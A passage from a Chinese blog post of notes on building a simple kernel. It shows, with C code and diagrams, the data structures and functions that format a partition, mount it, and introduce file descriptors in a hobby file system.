class="line">    <span class="keyword">uint32_t</span> i_open_cnts; <span class="comment">// 文件被打开的次数</span></span><br><span class="line">    <span class="keyword">bool</span> write_deny;  <span class="comment">// 写文件的标识，防止多个进行同时对一个文件写</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> i_sectors[<span class="number">13</span>]; <span class="comment">// 一个文件只支持13个块，12个直接块，1个间接块。在这个文件系统中，块的大小直接等于1扇区</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">list_elem</span> <span class="title">inode_tag</span>;</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>目录和目录项的结构</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">enum</span> file_types </span><br><span class="line">&#123;</span><br><span class="line">    FT_UNKNOWN,   </span><br><span class="line">    FT_REGULAR,   </span><br><span class="line">    FT_DIRECTORY  </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 目录结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dir</span> &#123;</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">inode</span>;</span>   </span><br><span class="line">   <span class="keyword">uint32_t</span> dir_pos;  <span class="comment">// 记录在目录内的偏移</span></span><br><span class="line">   <span class="keyword">uint8_t</span> dir_buf[<span class="number">512</span>];  <span class="comment">// 目录的数据缓存</span></span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 目录项结构 */</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span> &#123;</span></span><br><span class="line">   <span class="keyword">char</span> filename[MAX_FILE_NAME_LEN];  <span class="comment">// 普通文件或目录名称</span></span><br><span class="line">   <span class="keyword">uint32_t</span> i_no;      <span class="comment">// 普通文件或目录对应的inode编号</span></span><br><span class="line">   <span class="keyword">enum</span> file_types f_type;      <span class="comment">// 文件类型</span></span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>创建文件系统有以下几步：</p><ol><li>根据分区大小，计算分区文件系统各元信息需要的扇区数及位置</li><li>在内存中创建超级块，将上面的元信息写入超级块</li><li>将超级块写入磁盘</li><li>将元信息写入磁盘上各自的位置</li><li>将根目录写入磁盘</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 格式化分区,也就是初始化分区的元信息,创建文件系统 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">partition_format</span><span class="params">(struct partition* part)</span> </span>&#123;</span><br><span class="line"><span class="comment">/* 为方便实现,一个块大小是一扇区 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> boot_sector_sects = <span class="number">1</span>;  </span><br><span class="line">   <span class="keyword">uint32_t</span> super_block_sects = <span class="number">1</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> inode_bitmap_sects = DIV_ROUND_UP(MAX_FILES_PER_PART, BITS_PER_SECTOR);   <span class="comment">// I结点位图占用的扇区数.最多支持4096个文件</span></span><br><span class="line">   <span class="keyword">uint32_t</span> inode_table_sects = DIV_ROUND_UP(((<span class="keyword">sizeof</span>(struct inode) * MAX_FILES_PER_PART)), SECTOR_SIZE);</span><br><span class="line">   <span class="keyword">uint32_t</span> used_sects = boot_sector_sects + super_block_sects + inode_bitmap_sects + inode_table_sects;</span><br><span class="line">   <span class="keyword">uint32_t</span> free_sects = part-&gt;sec_cnt - used_sects;  </span><br><span class="line"></span><br><span class="line"><span class="comment">/************** 简单处理块位图占据的扇区数 ***************/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_sects;</span><br><span class="line">   block_bitmap_sects = DIV_ROUND_UP(free_sects, BITS_PER_SECTOR);</span><br><span class="line">   <span class="comment">/* block_bitmap_bit_len是位图中位的长度,也是可用块的数量 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_bit_len = free_sects - block_bitmap_sects; </span><br><span class="line">   block_bitmap_sects = DIV_ROUND_UP(block_bitmap_bit_len, BITS_PER_SECTOR); </span><br><span class="line"><span class="comment">/*********************************************************/</span></span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 超级块初始化 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">super_block</span> <span class="title">sb</span>;</span></span><br><span class="line">   sb.magic = <span class="number">0x19590318</span>;</span><br><span class="line">   sb.sec_cnt = part-&gt;sec_cnt;</span><br><span class="line">   sb.inode_cnt = MAX_FILES_PER_PART;</span><br><span class="line">   sb.part_lba_base = part-&gt;start_lba;</span><br><span class="line"></span><br><span class="line">   sb.block_bitmap_lba = sb.part_lba_base + <span class="number">2</span>; <span class="comment">// 第0块是引导块,第1块是超级块</span></span><br><span class="line">   sb.block_bitmap_sects = block_bitmap_sects;</span><br><span class="line"></span><br><span class="line">   sb.inode_bitmap_lba = sb.block_bitmap_lba + sb.block_bitmap_sects;</span><br><span class="line">   sb.inode_bitmap_sects = inode_bitmap_sects;</span><br><span class="line"></span><br><span class="line">   sb.inode_table_lba = sb.inode_bitmap_lba + sb.inode_bitmap_sects;</span><br><span class="line">   sb.inode_table_sects = inode_table_sects; </span><br><span class="line"></span><br><span class="line">   sb.data_start_lba = sb.inode_table_lba + sb.inode_table_sects;</span><br><span class="line">   sb.root_inode_no = <span class="number">0</span>;</span><br><span class="line">   sb.dir_entry_size = <span class="keyword">sizeof</span>(struct dir_entry);</span><br><span class="line"></span><br><span class="line">   printk(<span class="string">"%s info:\n"</span>, part-&gt;name);</span><br><span class="line">   printk(<span class="string">"   magic:0x%x\n   part_lba_base:0x%x\n   all_sectors:0x%x\n   inode_cnt:0x%x\n   block_bitmap_lba:0x%x\n   block_bitmap_sectors:0x%x\n   inode_bitmap_lba:0x%x\n   inode_bitmap_sectors:0x%x\n   inode_table_lba:0x%x\n   inode_table_sectors:0x%x\n   data_start_lba:0x%x\n"</span>, sb.magic, sb.part_lba_base, sb.sec_cnt, sb.inode_cnt, sb.block_bitmap_lba, sb.block_bitmap_sects, sb.inode_bitmap_lba, sb.inode_bitmap_sects, sb.inode_table_lba, sb.inode_table_sects, sb.data_start_lba);</span><br><span class="line"></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">hd</span> = <span class="title">part</span>-&gt;<span class="title">my_disk</span>;</span></span><br><span class="line"><span class="comment">/*******************************</span></span><br><span class="line"><span class="comment"> * 1 将超级块写入本分区的1扇区 *</span></span><br><span class="line"><span class="comment"> ******************************/</span></span><br><span class="line">   ide_write(hd, part-&gt;start_lba + <span class="number">1</span>, &amp;sb, <span class="number">1</span>);</span><br><span class="line">   printk(<span class="string">"   super_block_lba:0x%x\n"</span>, part-&gt;start_lba + <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 找出数据量最大的元信息,用其尺寸做存储缓冲区*/</span></span><br><span class="line">   <span class="keyword">uint32_t</span> buf_size = (sb.block_bitmap_sects &gt;= sb.inode_bitmap_sects ? sb.block_bitmap_sects : sb.inode_bitmap_sects);</span><br><span class="line">   buf_size = (buf_size &gt;= sb.inode_table_sects ? buf_size : sb.inode_table_sects) * SECTOR_SIZE;</span><br><span class="line">   <span class="keyword">uint8_t</span>* buf = (<span class="keyword">uint8_t</span>*)sys_malloc(buf_size);<span class="comment">// 申请的内存由内存管理系统清0后返回</span></span><br><span class="line">   </span><br><span class="line"><span class="comment">/**************************************</span></span><br><span class="line"><span class="comment"> * 2 将块位图初始化并写入sb.block_bitmap_lba *</span></span><br><span class="line"><span class="comment"> *************************************/</span></span><br><span class="line">   <span class="comment">/* 初始化块位图block_bitmap */</span></span><br><span class="line">   buf[<span class="number">0</span>] |= <span class="number">0x01</span>;       <span class="comment">// 第0个块预留给根目录,位图中先占位</span></span><br><span class="line">   <span class="keyword">uint32_t</span> block_bitmap_last_byte = block_bitmap_bit_len / <span class="number">8</span>;</span><br><span class="line">   <span class="keyword">uint8_t</span>  block_bitmap_last_bit  = block_bitmap_bit_len % <span class="number">8</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> last_size = SECTOR_SIZE - (block_bitmap_last_byte % SECTOR_SIZE);     <span class="comment">// last_size是位图所在最后一个扇区中，不足一扇区的其余部分</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 1 先将位图最后一字节到其所在的扇区的结束全置为1,即超出实际块数的部分直接置为已占用*/</span></span><br><span class="line">   <span class="built_in">memset</span>(&amp;buf[block_bitmap_last_byte], <span class="number">0xff</span>, last_size);</span><br><span class="line">   </span><br><span class="line">   <span class="comment">/* 2 再将上一步中覆盖的最后一字节内的有效位重新置0 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span> bit_idx = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">while</span> (bit_idx &lt;= block_bitmap_last_bit) &#123;</span><br><span class="line">      buf[block_bitmap_last_byte] &amp;= ~(<span class="number">1</span> &lt;&lt; bit_idx++);</span><br><span class="line">   &#125;</span><br><span class="line">   ide_write(hd, sb.block_bitmap_lba, buf, sb.block_bitmap_sects);</span><br><span class="line"></span><br><span class="line"><span class="comment">/***************************************</span></span><br><span class="line"><span class="comment"> * 3 将inode位图初始化并写入sb.inode_bitmap_lba *</span></span><br><span class="line"><span class="comment"> ***************************************/</span></span><br><span class="line">   <span class="comment">/* 先清空缓冲区*/</span></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, buf_size);</span><br><span class="line">   buf[<span class="number">0</span>] |= <span class="number">0x1</span>;      <span class="comment">// 第0个inode分给了根目录</span></span><br><span class="line">   <span class="comment">/* 由于inode_table中共4096个inode,位图inode_bitmap正好占用1扇区,</span></span><br><span class="line"><span class="comment">    * 即inode_bitmap_sects等于1, 所以位图中的位全都代表inode_table中的inode,</span></span><br><span class="line"><span class="comment">    * 无须再像block_bitmap那样单独处理最后一扇区的剩余部分,</span></span><br><span class="line"><span class="comment">    * inode_bitmap所在的扇区中没有多余的无效位 */</span></span><br><span class="line">   ide_write(hd, sb.inode_bitmap_lba, buf, sb.inode_bitmap_sects);</span><br><span class="line"></span><br><span class="line"><span class="comment">/***************************************</span></span><br><span class="line"><span class="comment"> * 4 将inode数组初始化并写入sb.inode_table_lba *</span></span><br><span class="line"><span class="comment"> ***************************************/</span></span><br><span class="line"> <span class="comment">/* 准备写inode_table中的第0项,即根目录所在的inode */</span></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, buf_size);  <span class="comment">// 先清空缓冲区buf</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">inode</span>* <span class="title">i</span> = (<span class="title">struct</span> <span class="title">inode</span>*)<span class="title">buf</span>;</span> </span><br><span class="line">   i-&gt;i_size = sb.dir_entry_size * <span class="number">2</span>; <span class="comment">// .和..</span></span><br><span class="line">   i-&gt;i_no = <span class="number">0</span>;   <span class="comment">// 根目录占inode数组中第0个inode</span></span><br><span class="line">   i-&gt;i_sectors[<span class="number">0</span>] = sb.data_start_lba;     <span class="comment">// 由于上面的memset,i_sectors数组的其它元素都初始化为0 </span></span><br><span class="line">   ide_write(hd, sb.inode_table_lba, buf, sb.inode_table_sects);</span><br><span class="line">   </span><br><span class="line"><span class="comment">/***************************************</span></span><br><span class="line"><span class="comment"> * 5 将根目录初始化并写入sb.data_start_lba</span></span><br><span class="line"><span class="comment"> ***************************************/</span></span><br><span class="line">   <span class="comment">/* 写入根目录的两个目录项.和.. */</span></span><br><span class="line">   <span class="built_in">memset</span>(buf, <span class="number">0</span>, buf_size);</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">dir_entry</span>* <span class="title">p_de</span> = (<span class="title">struct</span> <span class="title">dir_entry</span>*)<span class="title">buf</span>;</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化当前目录"." */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(p_de-&gt;filename, <span class="string">"."</span>, <span class="number">1</span>);</span><br><span class="line">   p_de-&gt;i_no = <span class="number">0</span>;</span><br><span class="line">   p_de-&gt;f_type = FT_DIRECTORY;</span><br><span class="line">   p_de++;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 初始化当前目录父目录".." */</span></span><br><span class="line">   <span class="built_in">memcpy</span>(p_de-&gt;filename, <span class="string">".."</span>, <span class="number">2</span>);</span><br><span class="line">   p_de-&gt;i_no = <span class="number">0</span>;   <span class="comment">// 根目录的父目录依然是根目录自己</span></span><br><span class="line">   p_de-&gt;f_type = FT_DIRECTORY;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* sb.data_start_lba已经分配给了根目录,里面是根目录的目录项 */</span></span><br><span class="line">   ide_write(hd, sb.data_start_lba, buf, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">   printk(<span class="string">"   root_dir_lba:0x%x\n"</span>, sb.data_start_lba);</span><br><span class="line">   printk(<span class="string">"%s format done\n"</span>, part-&gt;name);</span><br><span class="line">   sys_free(buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>创建之后的示意图如下</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/92.png" alt="image-20200612181835991"></p><p>接下来就是调用上面代码的初始化函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 在磁盘上搜索文件系统,若没有则格式化分区创建文件系统 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">filesys_init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint8_t</span> channel_no = <span class="number">0</span>, dev_no, part_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* sb_buf用来存储从硬盘上读入的超级块 */</span></span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">super_block</span>* <span class="title">sb_buf</span> = (<span class="title">struct</span> <span class="title">super_block</span>*)<span class="title">sys_malloc</span>(<span class="title">SECTOR_SIZE</span>);</span></span><br><span class="line"></span><br><span class="line">   <span class="keyword">if</span> (sb_buf == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      PANIC(<span class="string">"alloc memory failed!"</span>);</span><br><span class="line">   &#125;</span><br><span class="line">   printk(<span class="string">"searching filesystem......\n"</span>);</span><br><span class="line">   <span class="keyword">while</span> (channel_no &lt; channel_cnt) &#123; <span class="comment">// 遍历通道</span></span><br><span class="line">      dev_no = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">while</span>(dev_no &lt; <span class="number">2</span>) &#123; <span class="comment">// 遍历通道中的硬盘</span></span><br><span class="line"> <span class="keyword">if</span> (dev_no == <span class="number">0</span>) &#123;   <span class="comment">// 跨过裸盘hd60M.img</span></span><br><span class="line">    dev_no++;</span><br><span class="line">    <span class="keyword">continue</span>;</span><br><span class="line"> &#125;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">hd</span> = &amp;<span class="title">channels</span>[<span class="title">channel_no</span>].<span class="title">devices</span>[<span class="title">dev_no</span>];</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">partition</span>* <span class="title">part</span> = <span class="title">hd</span>-&gt;<span class="title">prim_parts</span>;</span></span><br><span class="line"> <span class="keyword">while</span>(part_idx &lt; <span class="number">12</span>) &#123;   <span class="comment">// 遍历分区，4个主分区+8个逻辑</span></span><br><span class="line">    <span class="keyword">if</span> (part_idx == <span class="number">4</span>) &#123;  <span class="comment">// 开始处理逻辑分区</span></span><br><span class="line">       part = hd-&gt;logic_parts;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line"> <span class="comment">/* channels数组是全局变量,默认值为0,disk属于其嵌套结构,</span></span><br><span class="line"><span class="comment">  * partition又为disk的嵌套结构,因此partition中的成员默认也为0.</span></span><br><span class="line"><span class="comment">  * 若partition未初始化,则partition中的成员仍为0. </span></span><br><span class="line"><span class="comment">  * 下面处理存在的分区. */</span></span><br><span class="line">    <span class="keyword">if</span> (part-&gt;sec_cnt != <span class="number">0</span>) &#123;  <span class="comment">// 如果分区存在</span></span><br><span class="line">       <span class="built_in">memset</span>(sb_buf, <span class="number">0</span>, SECTOR_SIZE);</span><br><span class="line"></span><br><span class="line">       <span class="comment">/* 读出分区的超级块,根据魔数是否正确来判断是否存在文件系统 */</span></span><br><span class="line">       ide_read(hd, part-&gt;start_lba + <span class="number">1</span>, sb_buf, <span class="number">1</span>);   </span><br><span class="line"></span><br><span class="line">       <span class="comment">/* 只支持自己的文件系统.若磁盘上已经有文件系统就不再格式化了 */</span></span><br><span class="line">       <span class="keyword">if</span> (sb_buf-&gt;magic == <span class="number">0x19590318</span>) &#123;</span><br><span class="line">  printk(<span class="string">"%s has filesystem\n"</span>, part-&gt;name);</span><br><span class="line">       &#125; <span class="keyword">else</span> &#123;  <span class="comment">// 其它文件系统不支持,一律按无文件系统处理</span></span><br><span class="line">  printk(<span class="string">"formatting %s`s partition %s......\n"</span>, hd-&gt;name, part-&gt;name);</span><br><span class="line">  partition_format(part);</span><br><span class="line">       &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    part_idx++;</span><br><span class="line">    part++;<span class="comment">// 下一分区</span></span><br><span class="line"> &#125;</span><br><span class="line"> dev_no++;<span class="comment">// 下一磁盘</span></span><br><span class="line">      &#125;</span><br><span class="line">      channel_no++;<span class="comment">// 下一通道</span></span><br><span class="line">   &#125;</span><br><span class="line">   sys_free(sb_buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们需要运行两次，第一次负责创建，第二次运行显示创建完毕</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/93.png" alt="image-20200612181835991"></p><h2 id="挂载分区"><a href="#挂载分区" class="headerlink" title="挂载分区"></a>挂载分区</h2><p>为了操作任意一个分区，实现对分区的”拿”和”收”，我们需要完成挂载分区，其实质是把该分区的文件系统的元信息从硬盘上读出来加载到内存中，这样硬盘资源的变化都用内存中元信息来跟踪</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">partition</span>* <span class="title">cur_part</span>;</span> <span class="comment">// 默认情况下操作的是哪个分区</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在分区链表中找到名为part_name的分区,并将其指针赋值给cur_part */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">bool</span> <span class="title">mount_partition</span><span class="params">(struct list_elem* pelem, <span class="keyword">int</span> arg)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">char</span>* part_name = (<span class="keyword">char</span>*)arg;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">partition</span>* <span class="title">part</span> = <span class="title">elem2entry</span>(<span class="title">struct</span> <span class="title">partition</span>, <span class="title">part_tag</span>, <span class="title">pelem</span>);</span></span><br><span class="line">   <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(part-&gt;name, part_name)) &#123;</span><br><span class="line">      cur_part = part;</span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">disk</span>* <span class="title">hd</span> = <span class="title">cur_part</span>-&gt;<span class="title">my_disk</span>;</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* sb_buf用来存储从硬盘上读入的超级块 */</span></span><br><span class="line">      <span class="class"><span class="keyword">struct</span> <span class="title">super_block</span>* <span class="title">sb_buf</span> = (<span class="title">struct</span> <span class="title">super_block</span>*)<span class="title">sys_malloc</span>(<span class="title">SECTOR_SIZE</span>);</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 在内存中创建分区cur_part的超级块 */</span></span><br><span class="line">      cur_part-&gt;sb = (struct super_block*)sys_malloc(<span class="keyword">sizeof</span>(struct super_block));</span><br><span class="line">      <span class="keyword">if</span> (cur_part-&gt;sb == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> PANIC(<span class="string">"alloc memory failed!"</span>);</span><br><span class="line">      &#125;</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 读入超级块 */</span></span><br><span class="line">      <span class="built_in">memset</span>(sb_buf, <span class="number">0</span>, SECTOR_SIZE);</span><br><span class="line">      ide_read(hd, cur_part-&gt;start_lba + <span class="number">1</span>, sb_buf, <span class="number">1</span>);   </span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 把sb_buf中超级块的信息复制到分区的超级块sb中。*/</span></span><br><span class="line">      <span class="built_in">memcpy</span>(cur_part-&gt;sb, sb_buf, <span class="keyword">sizeof</span>(struct super_block)); </span><br><span class="line"></span><br><span class="line">      <span class="comment">/**********     将硬盘上的块位图读入到内存    ****************/</span></span><br><span class="line">      cur_part-&gt;block_bitmap.bits = (<span class="keyword">uint8_t</span>*)sys_malloc(sb_buf-&gt;block_bitmap_sects * SECTOR_SIZE);</span><br><span class="line">      <span class="keyword">if</span> (cur_part-&gt;block_bitmap.bits == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> PANIC(<span class="string">"alloc memory failed!"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      cur_part-&gt;block_bitmap.btmp_bytes_len = sb_buf-&gt;block_bitmap_sects * SECTOR_SIZE;</span><br><span class="line">      <span class="comment">/* 从硬盘上读入块位图到分区的block_bitmap.bits */</span></span><br><span class="line">      ide_read(hd, sb_buf-&gt;block_bitmap_lba, cur_part-&gt;block_bitmap.bits, sb_buf-&gt;block_bitmap_sects);   </span><br><span class="line">      <span class="comment">/*************************************************************/</span></span><br><span class="line"></span><br><span class="line">      <span class="comment">/**********     将硬盘上的inode位图读入到内存    ************/</span></span><br><span class="line">      cur_part-&gt;inode_bitmap.bits = (<span class="keyword">uint8_t</span>*)sys_malloc(sb_buf-&gt;inode_bitmap_sects * SECTOR_SIZE);</span><br><span class="line">      <span class="keyword">if</span> (cur_part-&gt;inode_bitmap.bits == <span class="literal">NULL</span>) &#123;</span><br><span class="line"> PANIC(<span class="string">"alloc memory failed!"</span>);</span><br><span class="line">      &#125;</span><br><span class="line">      cur_part-&gt;inode_bitmap.btmp_bytes_len = sb_buf-&gt;inode_bitmap_sects * SECTOR_SIZE;</span><br><span class="line">      <span class="comment">/* 从硬盘上读入inode位图到分区的inode_bitmap.bits */</span></span><br><span class="line">      ide_read(hd, sb_buf-&gt;inode_bitmap_lba, cur_part-&gt;inode_bitmap.bits, sb_buf-&gt;inode_bitmap_sects);   </span><br><span class="line">      <span class="comment">/*************************************************************/</span></span><br><span class="line"></span><br><span class="line">      list_init(&amp;cur_part-&gt;open_inodes);</span><br><span class="line">      printk(<span class="string">"mount %s done!\n"</span>, part-&gt;name);</span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 此处返回true是为了迎合主调函数list_traversal的实现,与函数本身功能无关。</span></span><br><span class="line"><span class="comment">      只有返回true时list_traversal才会停止遍历,减少了后面元素无意义的遍历.*/</span></span><br><span class="line">      <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> <span class="literal">false</span>;     <span class="comment">// 使list_traversal继续遍历</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="文件描述符"><a href="#文件描述符" class="headerlink" title="文件描述符"></a>文件描述符</h2><p>文件描述符是用户能够交互的对象，它与inode不同的是inode是操作系统为自己的文件系统准备的数据结构，仅供其内部使用，用户难以接触到。用户进程可以多次打开同一个文件，一个文件也可也被多个进程同时打开，每次打开文件的时候，我们就需要记录当时文件的状态，比如当时读取的位置，也叫文件偏移量、文件打开的标志信息，inode指针等，基本结构如下图所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/94.png" alt="image-20200612181835991"></p><p>熟悉Linux编程的朋友肯定知道open函数，其成功调用返回值就是文件描述符，通常情况下是一个int类型的数值0~2，它实际上作为进程pcb中文件描述符数组的下标索引，其指向一个文件结构，在结构中才能获取到文件信息，pcb不直接指向描述符的原因是每次打开文件的时候就需要记录一次，如果这样的话pcb就会变得很大而损失效率，所以采取索引的方式记录，关系图如下所示</p><p><img src="/2020/06/11/简单内核实现笔记-part-4/95.png" alt="image-20200612181835991"></p><p>下面是具体定义，增加描述符数组在thread文件的task_struct结构中</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span 